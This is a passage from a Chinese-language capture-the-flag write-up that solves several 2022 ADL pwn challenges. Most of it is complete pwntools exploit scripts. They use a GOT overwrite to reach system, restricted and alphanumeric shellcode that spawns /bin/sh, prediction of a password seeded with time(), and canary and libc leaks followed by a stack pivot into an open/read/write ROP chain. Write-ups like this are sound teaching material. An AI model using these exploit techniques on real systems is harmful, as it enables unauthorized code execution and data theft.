),稍微gdb一下可以發現,只要讓index等於-3的話可以leak放在GOT table中printf
的address,leak出來後減掉offset即可得到libc base
由於edit_info()
也沒有擋掉負數的index(v2
),可以發現讓index等於-2可以蓋掉GOT表中atol
的address,於是我們只需要將它蓋成system
的address,即可讓atol(&input)
變成system(&input)
最後我們只需要在蓋完atol
之後,輸入/bin/sh
,即可拿shell
#!/usr/bin/env python3
from pwn import *
import sys
from typing import Union
binary = ELF("./cyberpsychosis_patched")
libc = ELF("./libc.so.6")
context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
def one_gadget(filename: str) -> list:
return [
int(i) for i in __import__('subprocess').check_output(
['one_gadget', '--raw', filename]).decode().split(' ')
]
GDB_SCRIPT = '''
b *edit_info+220
b *show_info+334
'''.strip()
def conn() -> Union[process, remote]:
io = None
for arg in sys.argv[1:]:
# ./solve <any option> d
if arg == 'd':
context.log_level = 'debug'
# ./solve l
if arg == 'l':
io = process([binary.path])
# ./solve g
elif arg == 'g':
io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
# $ ./solve
if io is None:
io = remote("ctf.adl.tw", 10004)
return io
def main():
io = conn()
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"> ", b"-3")
io.recvuntil(b"implanted name: ")
leaked = io.recvuntil(b"\nvalue: ", drop=True)
info(f"leaked: {leaked} {int.from_bytes(leaked, 'little'):#x}")
printf_addr = int(io.recvline().strip())
info(f"printf address: {printf_addr:#x}")
libc.address = printf_addr - libc.symbols["printf"]
success(f"libc base: {libc.address:#x}")
success(f"system address: {libc.symbols['system']:#x}")
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"> ", b"-2")
io.sendafter(b": ",
p64(libc.symbols['setvbuf']) + p64(libc.symbols['system']))
io.sendlineafter(b": ", b"/bin/sh")
io.interactive() # ADL{月一緒に行けなって ごめんね.https://youtu.be/h4VJGNNSQnw}
if __name__ == "__main__":
main()
flag: ADL{月一緒に行けなって ごめんね.https://youtu.be/h4VJGNNSQnw}
checksec:
[*] '/ctf/work/adl/2022/modohayaku/modohayaku'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
stack可執行,沒pie
main:
btw 我的ida 7.6不知道為啥分析不了,所以我是用cutter
int32_t main (void) {
void * buf;
int64_t var_c8h;
int64_t var_c0h;
int64_t var_b8h;
int64_t var_b0h;
int64_t var_a8h;
int64_t var_a0h;
int64_t var_98h;
int64_t var_90h;
int64_t var_88h;
int64_t var_80h;
int64_t var_78h;
int64_t var_70h;
int64_t var_68h;
int64_t var_60h;
int64_t var_58h;
int64_t var_50h;
int64_t var_48h;
int64_t var_40h;
int64_t var_38h;
int64_t var_30h;
int64_t var_28h;
int64_t var_10h;
int64_t var_8h;
int64_t var_4h;
eax = 0;
init ();
rax = 0x7361772073696854;
rdx = 0x7478652065687420;
buf = rax;
var_c8h = rdx;
rax = 0x6c6c696b73206172;
rdx = 0x2049207461687420;
var_c0h = rax;
var_b8h = rdx;
rax = 0x6e65656220646168;
rdx = 0x2c676e6964696820;
var_b0h = rax;
var_a8h = rdx;
rax = 0x206c617544abc220;
rdx = 0xbbc2736564616c42;
var_a0h = rax;
var_98h = rdx;
rax = 0x687420646e61202c;
rdx = 0x696e686365742065;
var_90h = rax;
var_88h = rdx;
rax = 0x6177204920657571;
rdx = 0x20676e6973752073;
var_80h = rax;
var_78h = rdx;
rax = 0x2073746920736177;
rdx = 0x616c632d68676968;
var_70h = rax;
var_68h = rdx;
rax = 0x64726f7773207373;
rdx = 0xc2206c6c696b7320;
var_60h = rax;
var_58h = rdx;
rax = 0x72756272617453ab;
rdx = 0x6165727453207473;
var_50h = rax;
var_48h = rdx;
rax = 0x732061202cbbc26d;
rdx = 0x682d6e6565747869;
var_40h = rax;
var_38h = rdx;
rax = 0x6f626d6f63207469;
rdx = 0x2e6b636174746120;
var_30h = rax;
var_28h = rdx;
section_plt_sec ("Show me how fast you are!!!");
rax = &buf;
edi = 0;
eax = 0;
read (edi, rax, 0xb0);
var_4h = 0;
while (var_4h <= 0xaf) {
eax = var_4h;
rax = (int64_t) eax;
eax = *((buf + rax));
if (al == 0x90) {
section_plt_sec ("Too sloooooooooooooooow.");
exit (0);
}
var_4h++;
}
var_8h = 0;
while (var_8h <= 0xf) {
edx = var_8h;
eax = var_8h;
eax <<= 2;
eax += edx;
eax += eax;
eax += edx;
rax = (int64_t) eax;
eax = *((buf + rax));
if (al != 0xc) {
edx = var_8h;
eax = var_8h;
eax <<= 2;
eax += edx;
eax += eax;
eax += edx;
eax++;
rax = (int64_t) eax;
eax = *((buf + rax));
if (al == 0x87) {
goto label_0;
}
edx = var_8h;
eax = var_8h;
eax <<= 2;
eax += edx;
eax += eax;
eax += edx;
eax += 2;
rax = (int64_t) eax;
eax = *((buf + rax));
if (al == 0x63) {
goto label_0;
}
section_plt_sec ("Wrong sword skill.");
exit (0);
}
label_0:
var_8h++;
}
rax = &buf;
var_10h = rax;
rdx = rax;
eax = 0;
void (*rdx)() ();
eax = 0;
return rax;
}
題目會先去讀輸入到一塊還蠻大的buffer,最後會把那塊buffer的位置放進rdx,再call rdx
但有一些限制:
\x90
不能出現在shellcode中
每11個bytes的開頭必須是\x0c\x87\x63
首先暴力試一下\x0c\x87\x63
可以產生什麼可用的instruction:
from pwn import *
context.arch='amd64'
for i in range(0x100):
print(disasm(b"\x0c\x87\x63" + bytes([i])))
print()
可以發現一些有趣的東西,例如:
0: 0c 87 or al, 0x87
2: 63 d1 movsxd edx, ecx
測試一下可以發現movsxd edx, ecx
幾乎和mov edx, ecx
一樣,但差別在於這樣做會把rdx最左邊32個bits整個清掉
接著我們可以用gdb break在call rdx
,看一下那時的registers:
RAX 0x0
*RBX 0x401470 (__libc_csu_init) ◂— endbr64
*RCX 0x7f09ab2dcfd2 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */
*RDX 0x7ffe024eb730 ◂— 0x50fc030d163870c
RDI 0x0
*RSI 0x7ffe024eb730 ◂— 0x50fc030d163870c
*R8 0x1c
*R9 0x7f09ab3dcd60 (_dl_fini) ◂— endbr64
*R10 0x4004db ◂— 0x6474730064616572 /* 'read' */
*R11 0x246
*R12 0x4010b0 (_start) ◂— endbr64
*R13 0x7ffe024eb8f0 ◂— 0x1
R14 0x0
R15 0x0
*RBP 0x7ffe024eb800 ◂— 0x0
*RSP 0x7ffe024eb730 ◂— 0x50fc030d163870c
*RIP 0x401464 (main+617) ◂— call rdx
可以看到rdi
是0,rdx
和rsi
指向同一個位置,都是我們read進去的buffer
所以,要拿shell很簡單,我們可以透過movsxd edx, ecx
,不要讓rdx
太大導致read
失敗(不太確定為什麼會失敗…),接著把被\x0c\x87
(mov al, 87
)改掉的rax
恢復成0,接著直接syscall
,即可重新read
一段不受限制的輸入進buffer,把放syscall
的位置後面的buffer蓋成可以拿shell的shellcode即可
#!/usr/bin/env python3
from pwn import *
import sys
from typing import Union
binary = ELF("./modohayaku_patched")
context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
context.arch = 'amd64'
def one_gadget(filename: str) -> list:
return [int(i) for i in
__import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
GDB_SCRIPT = '''
# b *main+405
# b *main+466
b *main+617
'''.strip()
def conn() -> Union[process, remote]:
io = None
for arg in sys.argv[1:]:
# ./solve <any option> d
if arg == 'd':
context.log_level = 'debug'
# ./solve l
if arg == 'l':
io = process([binary.path])
# ./solve g
elif arg == 'g':
io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
# $ ./solve
if io is None:
io = remote("ctf.adl.tw", 10002)
return io
def fix(payload):
payload = list(payload)
print(payload)
edx = 0
for edx in range(0x10):
# mov eax, edx
# shl eax, 2
# add eax, edx
# add eax, eax
# add eax, edx
eax = edx
eax = eax << 2
eax = eax + edx
eax = eax + eax
eax = eax + edx
print(eax)
payload[eax] = 0xc
payload[eax + 1] = 0x87
payload[eax + 2] = 0x63
return bytes(payload)
def main():
io = conn()
# every 11 bytes starts with `\x0c\x87\x63`
payload = b"\x0c\x87\x63\xd1" # mov al, 0x87; movsxd edx, ecx
payload += asm(
'''
xor al, al
syscall
'''
)
nop_sled_len = len(payload)
info(f"payload len: {nop_sled_len}")
payload = payload.ljust(0xb0, b'\x00')
payload = fix(payload)
io.send(payload)
payload = b"\x90" * nop_sled_len
payload += asm(shellcraft.sh())
io.send(payload)
io.interactive() # ADL{574r8ur57_57r34m!!!https://youtu.be/jUuknk81n2w}
if __name__ == "__main__":
main()
flag: ADL{574r8ur57_57r34m!!!https://youtu.be/jUuknk81n2w}
code基本上和前一題一樣,只是這次禁止kirot
中任何一個字元出現在shellcode中,且變成每6個bytes一次\x0c\x87\x63
此外執行的過程中還有一些無聊的sleep,搞得很難debug…
和上一題一樣,只是這次要符合6個bytes的規律,所以\x0c\x87\x63
中間我放了一個mov eax, eax
當nop
,並在第二次\x0c\x87\x63
後接上\xc7
以使用movsxd eax, edi
把rax
清零,接著syscall
,把後面的buffer蓋成新的shellcode即可
#!/usr/bin/env python3
from pwn import *
import sys
from typing import Union
from tempfile import NamedTemporaryFile
binary = ELF("./modomodohayaku_patched")
context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
if not os.path.exists("./libnosleep.so"):
with NamedTemporaryFile() as f:
f.write('''
#define _GNU_SOURCE
// hook sleep to do nothing
unsigned int sleep(unsigned int seconds) {
return 0;
}
'''.strip().encode())
f.flush()
os.system(f"gcc -x c -shared -fPIC -o libnosleep.so {f.name} -ldl")
def one_gadget(filename: str) -> list:
return [int(i) for i in
__import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
GDB_SCRIPT = '''
# b *0x4015BB
patch sleep ret
b *0x4015D1
'''.strip()
def conn() -> Union[process, remote]:
io = None
for arg in sys.argv[1:]:
# ./solve <any option> d
if arg == 'd':
context.log_level = 'debug'
# ./solve l
if arg == 'l':
io = process([binary.path], env={"LD_PRELOAD": "./libnosleep.so"})
# ./solve g
elif arg == 'g':
io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
# $ ./solve
if io is None:
io = remote("ctf.adl.tw", 10006)
return io
def fix(payload):
print(payload)
payload = list(payload)
edx = 0
for edx in range(0x10):
# mov eax, edx
# add eax, eax
# add eax, edx
# add eax, eax
eax = edx
eax += eax
eax = eax + edx
eax += eax
print(eax)
payload[eax] = 0xc
payload[eax + 1] = 0x87
payload[eax + 2] = 0x63
return bytes(payload)
def main():
io = conn()
# every 6 bytes starts with `\x0c\x87\x63`
payload = b"\x0c\x87\x63\xd1" # mov al, 0x87; movsxd edx, ecx
payload += asm(
'''
mov eax, eax
'''
)
payload = payload.ljust(9, b"\x00")
payload += b"\xc7" # mov al, 0x87; movsxd eax, edi
payload += asm(
'''
syscall
'''
)
nop_sled_len = len(payload)
info(f"payload len: {nop_sled_len}")
payload = payload.ljust(0x60, b'\x00')
payload = fix(payload)
io.sendafter(b"!!!\n", payload)
payload = b"\x90" * nop_sled_len
payload += asm(shellcraft.sh())
io.sendline(payload)
io.interactive() # ADL{G1v3_m3_73n_53c0nd5!!!https://youtu.be/UljR2IQAVfw}
if __name__ == "__main__":
main()
flag: ADL{G1v3_m3_73n_53c0nd5!!!https://youtu.be/UljR2IQAVfw}
跟上上題和上一題差不多,只是這次變成每5個bytes
一次c8763
這次比較特別的是在開頭使用\x0c\x87\x63\x??
,就只剩1 byte可控了
但可以發現,若是使用jmp $+x
,程式不會執行奇怪的instruction,一樣會short jump,不過因為\x0c\x87\x63
的開頭是\x0c
,所以會變成jmp $+0xc
接著可以發現,jmp $+0xc
完剛好是某一個\x0c\x87\x63
結束的位置,所以short jump完即可以使用一次2 bytes的instruction,讓程式接著順利的執行
剩下的和上一題一樣,透過movsxd
控制好rax
和rdx
,即可用新的shellcode覆蓋syscall
後面的buffer
#!/usr/bin/env python3
from pwn import *
import sys
from typing import Union
binary = ELF("./modomodomodohayaku")
context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
def one_gadget(filename: str) -> list:
return [int(i) for i in
__import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
GDB_SCRIPT = '''
b *0x4014B8
'''.strip()
def conn() -> Union[process, remote]:
io = None
for arg in sys.argv[1:]:
# ./solve <any option> d
if arg == 'd':
context.log_level = 'debug'
# ./solve l
if arg == 'l':
io = process([binary.path], env={"LD_PRELOAD": "./libnosleep.so"})
# ./solve g
elif arg == 'g':
io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT, env={"LD_PRELOAD": "./libnosleep.so"})
# $ ./solve
if io is None:
io = remote("ctf.adl.tw", 10007)
return io
def fix(payload):
print(payload)
payload = list(payload)
edx = 0
for edx in range(0x10):
# mov eax, edx
# shl eax, 2
# add eax, edx
eax = edx
eax = eax << 2
eax = eax + edx
print(eax)
payload[eax] = 0xc
payload[eax + 1] = 0x87
payload[eax + 2] = 0x63
return bytes(payload)
def main():
io = conn()
# every 5 bytes starts with `\x0c\x87\x63`
payload = b"\x0c\x87\x63\xd1" # mov al, 0x87; movsxd edx, ecx
payload += asm(
'''
jmp $+0xc
'''
)
# payload = payload.ljust(8, b"\x00")
# payload += asm("syscall")
# payload = payload.ljust(13, b"\x00")
# payload += asm("syscall")
payload = payload.ljust(18, b"\x00")
payload += asm(
'''
jmp $+4
'''
)
payload = payload.ljust(23, b"\x00")
payload += b"\xc7" # mov al, 0x87; movsxd eax, edi
payload += asm(
'''
jmp $+0xc
'''
)
# payload = payload.ljust(28, b"\x00")
# payload += asm("syscall")
# payload = payload.ljust(33, b"\x00")
# payload += asm("syscall")
payload = payload.ljust(38, b"\x00")
payload += asm("syscall")
nop_sled_len = len(payload)
info(f"payload len: {nop_sled_len}")
payload = payload.ljust(0x50, b'\x00')
payload = fix(payload)
print(payload)
io.sendafter(b"!!!\n", payload)
payload = b"\x90" * nop_sled_len
payload += asm(shellcraft.sh())
io.sendline(payload)
io.interactive() # ADL{us0d4r0......https://youtu.be/KId6eunoiWk}
if __name__ == "__main__":
main()
flag: ADL{us0d4r0......https://youtu.be/KId6eunoiWk}
這題沒啥pwn,只是code很雜又因為是用c++寫的,所以逆出來很醜
主要的問題在這:
__int64 __fastcall admin_password_gen[abi:cxx11](__int64 a1)
{
char v2; // [rsp+1Bh] [rbp-5h]
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 19; ++i )
{
v2 = rand() % 93 + 33;
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(
&admin_passwd[abi:cxx11],
(unsigned int)v2);
}
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
a1,
&admin_passwd[abi:cxx11]);
return a1;
}
unsigned __int64 init(void)
{
unsigned int v0; // eax
char v2[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
v0 = time(0LL);
srand(v0);
admin_password_gen[abi:cxx11](v2);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v2);
init_buf_show_banner();
init_account_map();
init_cmd_funcs();
return __readfsqword(0x28u) ^ v3;
}
__int64 __fastcall check_illegal_element(void *a1, __int64 a2)
{
while ( a2-- )
{
if ( *(_BYTE *)a1 <= 0x1Fu || *(_BYTE *)a1 > 0x7Eu )
return 0LL;
a1 = (char *)a1 + 1;
}
return 1LL;
}
__int64 system_call_generate_shellcode_element(void)
{
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
char *s; // [rsp+8h] [rbp-18h]
if ( (unsigned __int8)Account::is_admin(curr_accout) )
{
s = (char *)mmap((void *)0xC0000, (size_t)&_data_start, 7, 34, 0, 0LL);
memset(s, 48, (size_t)&_data_start);
operator<<(&std::cout, "Say your element content: ");
read(0, s + 34659, 0x789DuLL);
if ( (unsigned __int8)check_illegal_element(s + 34659, 0x789DuLL) )
{
return ((__int64 (*)(void))(s + 34659))();
}
else
{
v1 = operator<<(&std::cout, "System Call Fail!");
return std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
}
else
{
v2 = operator<<(&std::cout, "You are ");
v3 = operator<<(v2, curr_accout);
v4 = operator<<(v3, ", not Quinella.");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
v5 = operator<<(&std::cout, "You need administrator permission.");
return std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
}
}
可以看到他會用srand(time(0))
去設random seed,並在admin_password_gen
中使用rand() % 93 + 33
產生20 bytes的admin password
並在成功登入admin的帳號後,可以在system_call_generate_shellcode_element()
中執行printable的shellcode
用同樣的方法rand()
出一組password,然後從網路上隨便找一個可以產生printable shellcode的script產生一下shellcode即可
#!/usr/bin/env python3
from pwn import *
import sys
from typing import Union
from ctypes import CDLL
import pwnlib
from ae64 import AE64
binary = ELF("./project_alicization_patched")
context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
context.arch = 'amd64'
def one_gadget(filename: str) -> list:
return [int(i) for i in
__import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
GDB_SCRIPT = '''
b *$rebase(0x3D48)
'''.strip()
def conn() -> Union[process, remote]:
io = None
for arg in sys.argv[1:]:
# ./solve <any option> d
if arg == 'd':
context.log_level = 'debug'
# ./solve l
if arg == 'l':
io = process([binary.path])
# ./solve g
elif arg == 'g':
io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
# $ ./solve
if io is None:
io = remote("ctf.adl.tw", 10008)
return io
def main():
io = conn()
libc = CDLL("libc.so.6")
now_time = libc.time(0)
possible_passwords = []
for off in range(now_time - 3, now_time + 1):
libc.srand(off)
password = b""
for _ in range(20):
rand_num = libc.rand()
password += bytes([rand_num % 93 + 33])
possible_passwords.append(password)
info(f"Possible password: {password}")
admin_password = None
for password in possible_passwords:
info(f"Trying password: {password}")
io.sendlineafter(b": ", b"System Call login")
io.sendlineafter(b": ", b"Quinella")
io.sendlineafter(b": ", password)
result = io.recvline()
if b"You login with " in result:
success(f"admin password found: {password}")
admin_password = password
break
if admin_password is None:
error("admin password not found")
return
io.sendlineafter(b": ", b"System Call generate shellcode element")
shellcode = asm(shellcraft.sh())
print(shellcode)
# alphanumeric shellcode
shellcode = AE64().encode(shellcode)
print(shellcode)
io.sendafter(b": ", shellcode)
io.interactive() # ADL{5y573m_c4ll_GEN3R47E_fl4g_3l3M3NT.https://youtu.be/r-4XumkB2Yg}
if __name__ == "__main__":
main()
flag: ADL{5y573m_c4ll_GEN3R47E_fl4g_3l3M3NT.https://youtu.be/r-4XumkB2Yg}
checksec:
[*] '/ctf/work/adl/2022/Test_Subject_087/Test_Subject_087'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保護全開
seccomp-tools dump:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010
0008: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0010
0009: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
seccomp限制了除了read/write/open/exit/exit_group
以外的syscall
code中比較重要的部分:
unsigned __int64 add_option()
{
char s[136]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v2; // [rsp+88h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(s, 0, 0x80uLL);
puts("What do you want to tell Test Subject 007?");
printf("> ");
read(0, s, 0x7FuLL);
add_node(s);
printf("Test Subject 007 learns %s.\n", s);
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 challenge()
{
int v1; // [rsp+Ch] [rbp-44h]
int v2; // [rsp+10h] [rbp-40h]
unsigned int v3; // [rsp+14h] [rbp-3Ch]
int v4; // [rsp+18h] [rbp-38h]
int something_list_len; // [rsp+1Ch] [rbp-34h]
unsigned int v6; // [rsp+20h] [rbp-30h]
unsigned int nbytes; // [rsp+24h] [rbp-2Ch]
const char *nbytes_4; // [rsp+28h] [rbp-28h]
char s[24]; // [rsp+30h] [rbp-20h] BYREF
unsigned __int64 v10; // [rsp+48h] [rbp-8h]
v10 = __readfsqword(0x28u);
v1 = 0;
v2 = 0;
v3 = 0;
something_list_len = get_something_list_len();
v4 = 0;
if ( lose > 2 )
{
printf("You have lost %d times in a row.\n", (unsigned int)lose);
puts("Do you want to enter hint mode?[y/N]");
printf("> ");
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
if ( !strncmp(s, "y", 1uLL) )
{
puts("Hint mode is opened.");
v4 = 1;
}
}
puts("Challenge start.");
while ( v1 <= 7 && v2 <= 7 )
{
++v3;
puts("-------------------------------------------------------");
printf("Round %d:\n", v3);
puts("-------------------------------------------------------");
puts("Try to guess what is in Test Subject 007's mind.");
v6 = rand() % something_list_len;
nbytes_4 = (const char *)get_something_by_idx(v6);
memset(s, 0, 0x10uLL);
if ( v4 )
{
nbytes = strlen(nbytes_4);
printf("The word has %d letters.\n", nbytes);
printf("> ");
read(0, s, nbytes);
}
else
{
printf("> ");
read(0, s, 0x10uLL);
}
printf("Test Subject 007 is thinking about %s.\n", nbytes_4);
printf("Your answer : %s\n", s);
if ( !strcmp(s, nbytes_4) )
{
puts("You got a stella. ereganto!!!");
++v1;
}
else
{
puts("You got a tonito.");
++v2;
}
printf("Now you have %d stella, %d tonito.\n", (unsigned int)v1, (unsigned int)v2);
}
if ( v1 == 8 )
{
puts("Congratulations, You pass this challenge.");
puts("Now You are Starlight Test Subject 087.");
puts("Flag is at /home/test_subject_087/flag, feel free to take it away.");
puts("Bye~~~");
puts(": chichi usotsuki");
exit(0);
}
puts("You lose.");
lose_img();
++lose;
return __readfsqword(0x28u) ^ v10;
}
可以注意到在challenge()
中,當lose > 2
的時候可以開啟hint模式
在hint模式下,若strlen(nbytes_4)
的長度比s
的buffer大小(24 bytes)還要大,read(0, s, nbytes)
時就會發生bof
而nbytes_4
是可以控制的:我們可以通過add_option()
,添加最長0x7f bytes大小的option,使nbytes_4 = (const char *)get_something_by_idx(v6)
拿到一個0x7f大小的字串
第一步是添加很多0x7f bytes的option,使get_something_by_idx
穩定得拿到夠長的字串
第二步是將canary透過overflow蓋掉一個null bytes,使其在printf("Your answer : %s\n", s);
時leak出來
第三步是再往後塞,把stack上可以預測的__libc_start_main+243
和main
address用一樣的手法leak出來,計算libc base和pie base
最後一步是ROP,但因為要open/read/write flag,需要的gadgets長度放不進0x7f - 0x20 bytes大小的buffer
所以我將rbp填上bss段上的位置,再利用剩餘的空間填上能夠呼叫read(0, &next_gadget_address, 0x100)
的gadgets,先read完整orw的ROP chain和flag的filename進去,再用leave; ret;
gadget stack pivot過去,完成最後一段ROP
#!/usr/bin/env python3
from pwn import *
import sys
from typing import Union
binary = ELF("./Test_Subject_087_patched")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-2.31.so")
context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
context.arch = 'amd64'
def one_gadget(filename: str) -> list:
return [int(i) for i in
__import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
GDB_SCRIPT = '''
b open
'''.strip()
def conn() -> Union[process, remote]:
io = None
for arg in sys.argv[1:]:
# ./solve <any option> d
if arg == 'd':
context.log_level = 'debug'
# ./solve l
if arg == 'l':
io = process([binary.path])
# ./solve g
elif arg == 'g':
io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
# $ ./solve
if io is None:
io = remote("ctf.adl.tw", 10005)
return io
def main():
with conn() as io:
info("setup 0x7f length payload")
for _ in range(300):
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"> ", b"2")
io.sendafter(b"> ", b"X" * 0x7f)
info("prepare bof")
for _ in range(3):
io.sendlineafter(b"> ", b"1")
for __ in range(8):
io.sendlineafter(b"> ", b"xxxx")
canary = None
next_gadget_address = None
flag_path_address = None
flag_address = None
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"> ", b"y")
io.recvuntil(b"The word has ")
length = int(io.recvuntil(b" letters", drop=True))
if length != 0x7f:
warning("fail when leaking canary")
return False
else:
info("leaking canary")
io.sendafter(b"> ", b"A" * 0x19)
io.recvuntil(b"A" * 0x19)
canary = b"\x00" + io.recv(7)
success(f"canary: {canary}")
io.recvuntil(b"The word has ")
length = int(io.recvuntil(b" letters", drop=True))
if length != 0x7f:
warning("fail when leaking libc base")
return False
else:
info("leaking libc base")
payload = b'A' * 0x48
io.sendafter(b"> ", payload)
io.recvuntil(payload)
__libc_start_main_243_addr = int.from_bytes(io.recv(6), 'little')
info(f"__libc_start_main+243_addr: {__libc_start_main_243_addr:#x}")
libc.address = __libc_start_main_243_addr - libc.symbols["__libc_start_main"] - 243
assert libc.address & 0xfff == 0, f"libc base wrong: {libc.address:#x}"
assert libc.address > 0, f"libc base wrong: {libc.address:#x}"
success(f"libc base: {libc.address:#x}")
io.recvuntil(b"The word has ")
length = int(io.recvuntil(b" letters", drop=True))
if length != 0x7f:
warning("fail when leaking pie base")
return False
else:
info("leak pie base")
payload = b"A" * 0x68
io.sendafter(b"> ", payload)
io.recvuntil(payload)
main_address = int.from_bytes(io.recv(6), 'little')
info(f"main address: {main_address:#x}")
binary.address = main_address - binary.sym["main"]
assert binary.address & 0xfff == 0, f"pie base wrong: {binary.address:#x}"
assert binary.address > 0, f"pie base wrong: {binary.address:#x}"
success(f"pie base: {binary.address:#x}")
io.recvuntil(b"The word has ")
length = int(io.recvuntil(b" letters", drop=True))
if length != 0x7f:
warning("fail when stack pivot")
return False
else:
info("stack pivot")
rop = ROP([binary, libc])
next_gadget_address = binary.bss(0x400)
flag_path_address = next_gadget_address - 0x30
flag_address = next_gadget_address + 0x150
info(f"next gadget address: {next_gadget_address:#x}")
info(f"flag path address: {flag_path_address:#x}")
info(f"flag address: {flag_address:#x}")
rop.read(0, flag_path_address, flag_address - next_gadget_address)
rop.raw(rop.find_gadget(["leave", "ret"]))
payload = flat(
{
0x18: canary,
0x20: next_gadget_address - 8,
0x28: rop.chain(),
}
, length=0x7f)
io.sendafter(b"> ", payload)
for _ in range(4):
io.sendlineafter(b"> ", b"xxxx")
info("orw ROP")
rop = ROP([binary, libc])
payload = flat([
# open(&flag_path, 0, 0)
rop.find_gadget(["pop rdi", "ret"]).address,
flag_path_address,
rop.find_gadget(["pop rsi", "ret"]).address,
0,
rop.find_gadget(["pop rdx", "ret"]).address,
0,
rop.find_gadget(["pop rax", "ret"]).address,
constants.SYS_open,
rop.find_gadget(["syscall", "ret"]).address,
# read(fd, &flag_address, 0x100)
rop.find_gadget(["pop rdi", "ret"]).address,
3,
rop.find_gadget(["pop rsi", "ret"]).address,
flag_address,
rop.find_gadget(["pop rdx", "ret"]).address,
0x100,
rop.find_gadget(["pop rax", "ret"]).address,
constants.SYS_read,
rop.find_gadget(["syscall", "ret"]).address,
# write(1, &flag_address, 0x100)
rop.find_gadget(["pop rdi", "ret"]).address,
1,
rop.find_gadget(["pop rsi", "ret"]).address,
flag_address,
rop.find_gadget(["pop rdx", "ret"]).address,
0x100,
rop.find_gadget(["pop rax", "ret"]).address,
constants.SYS_write,
rop.find_gadget(["syscall", "ret"]).address,
])
payload = flat({
0x00: b"/home/test_subject_087/flag\0",
next_gadget_address - flag_path_address: payload
})
io.send(payload)
result = io.recvall()
# print(result)
if b"ADL" in result:
flag = result[result.index(b"ADL"): result.index(b"}") + 1].decode()
success(f"flag: {flag}") # ADL{4ny4_k0r3_5uk1_https://youtu.be/ZMV5aoQ5yko}
return True
else:
return False
if __name__ == "__main__":
while True:
try:
binary.address = 0
libc.address = 0
if main():
exit(0)
except AssertionError as e:
warning(str(e))
pass
flag: ADL{4ny4_k0r3_5uk1_https://youtu.be/ZMV5aoQ5yko}
checksec:
[*] '/ctf/work/adl/2022/guitarhero/guitarhero'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保護全開
seccomp-tool dump:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x000000e6 if (A == clock_nanosleep) goto 0010
0008: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0010
0009: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
只能orw
比較重要的部分:
int show_video()
{
if ( !video_name[0] )
return puts("No video had been uploaded.");
